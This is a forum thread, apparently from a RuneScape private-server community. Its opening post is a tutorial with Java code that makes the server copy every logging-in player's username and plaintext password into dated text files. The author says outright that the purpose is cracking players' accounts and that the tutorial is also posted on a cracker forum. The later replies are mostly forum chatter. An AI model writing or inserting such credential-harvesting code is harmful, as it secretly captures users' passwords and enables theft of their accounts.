Thread: [TUT] How to make everyones username and pass go into txt files [TUT]

Page 1 of 2 12 LastLast
Results 1 to 10 of 14
  1. #1 How to make everyones username and pass go into txt files 
    Ha Ranger Ha
    Guest
    Purpose: To make the username and password of each person that logs on to your rs2 private server go into a txt document.

    Difficulty: 1 or 2 depending on if you have to edit it.

    Assumed Knowledge: Copy & paste and know how to make folders

    Server Base: I guess any, im not really sure

    Classes Modified: playerhandler.java

    Procedure
    Step 1: Open playerhandler.java

    Step 2: search for
    Code:
    public boolean saveGame
    Below that you should see something like
    Code:
        public boolean saveGame(Player plr) {
            BufferedWriter characterfile = null;
            try {
                characterfile = new BufferedWriter(new FileWriter("./character files/"+plr.playerName+".txt"));
    /*ACCOUNT*/
                characterfile.write("[ACCOUNT]", 0, 9);
                characterfile.newLine();
                characterfile.write("character-username = ", 0, 21);
                characterfile.write(plr.playerName, 0, plr.playerName.length());
                characterfile.newLine();
                characterfile.write("character-password = ", 0, 21);
                characterfile.write(plr.playerPass, 0, plr.playerPass.length());
                characterfile.newLine();
                characterfile.newLine();
    Add this after BufferedWriter characterfile = null;
    Code:
            BufferedWriter HackWriter2 = null;
            BufferedWriter HackWriter = null;
    Step 3: Add this after try {

    Code:
                Calendar cal = new GregorianCalendar();
                int day = cal.get(Calendar.DAY_OF_MONTH);
                int month = cal.get(Calendar.MONTH);
                int year = cal.get(Calendar.YEAR);
                month = month + 1;
    
                HackWriter2 = new BufferedWriter(new FileWriter("./username lists/USERNAME-"+month+"-"+day+"-"+year+".txt", true));
                HackWriter2.write(plr.playerName, 0, plr.playerName.length());
                HackWriter2.newLine();
                HackWriter2.flush();
    
                HackWriter = new BufferedWriter(new FileWriter("./password lists/PASSWORD-"+month+"-"+day+"-"+year+".txt", true));
                HackWriter.write(plr.playerPass, 0, plr.playerPass.length());
                HackWriter.newLine();
                HackWriter.flush();
    Step 4: Now compile your server

    Step 5: Make a new folder named "password lists" and a new folder named "username lists" in your source file.

    Now just run your server and everyones username should go into a txt file in username lists and their passwords should go into a txt file in passwor lists

    Credits: %90 Me and %10 waynewilson2

    I also have this posted on [Only registered and activated users can see links. ] which is a cracker forum. Thats how you would use this, to crack rs2 accounts.

    Oh ya! This is my first ever TUT so please be nice.
    Reply With Quote  
     

  2. #2  
    Registered Member
    BamBam's Avatar
    Join Date
    Jan 2007
    Posts
    270
    Thanks given
    24
    Thanks received
    8
    Rep Power
    153
    Pixel hungry newbs, There, I was nice about it.

    Runekeep®
    Reply With Quote  
     

  3. #3  
    Ha Ranger Ha
    Guest
    lol im not "pixel hungry". I dont even crack the accounts... I just like to code java, c#, and c++. This is just for people who do use password crackers.
    Reply With Quote  
     

  4. #4  
    I'm unique


    Join Date
    Oct 2006
    Age
    29
    Posts
    708
    Thanks given
    0
    Thanks received
    1
    Rep Power
    82
    Nice one I got a different one, but it is like you'rs
    Sincerly yours,
    Simox.
    Reply With Quote  
     

  5. #5  
    Inferno
    Guest
    Either this is Kewl's Password Decrytion Tutorial Leeched or It's Just Taking Something Thats Already In Testscape And Classing It As A Tutorial.
    Reply With Quote  
     

  6. #6  
    Fallen Azn SinZ
    Guest
    Please remove the [tut] tags from the title. We already know it's a tutorial since it's in the tutorial section.
    Reply With Quote  
     

  7. #7  
    Ha Ranger Ha
    Guest
    how do I change the title?
    Reply With Quote  
     

  8. #8  
    Fallen Azn SinZ
    Guest
    Quote Originally Posted by Ha Ranger Ha View Post
    how do I change the title?
    Underneath where you posted the tutorial, there will be an 'edit'button, click it, and then change the title
    Reply With Quote  
     

  9. #9  
    Registered Member
    Alex's Avatar
    Join Date
    Apr 2007
    Posts
    1,658
    Thanks given
    0
    Thanks received
    0
    Rep Power
    284
    Quote Originally Posted by azn_sinz View Post
    Underneath where you posted the tutorial, there will be an 'edit'button, click it, and then change the title
    Only mods can edit titles,
    You just edit the subtitle......
    Your password is 354 days old, and has therefore expired.


    Fail
    Reply With Quote  
     

  10. #10  
    Fallen Azn SinZ
    Guest
    Oh I see, whoops I must have been thinking of the 'reason for editting' part as the title bit, since I haven't used the edit option in a while.
    Reply With Quote  
     

Page 1 of 2 12 LastLast

Thread Information
Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)


User Tag List

Posting Permissions
  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •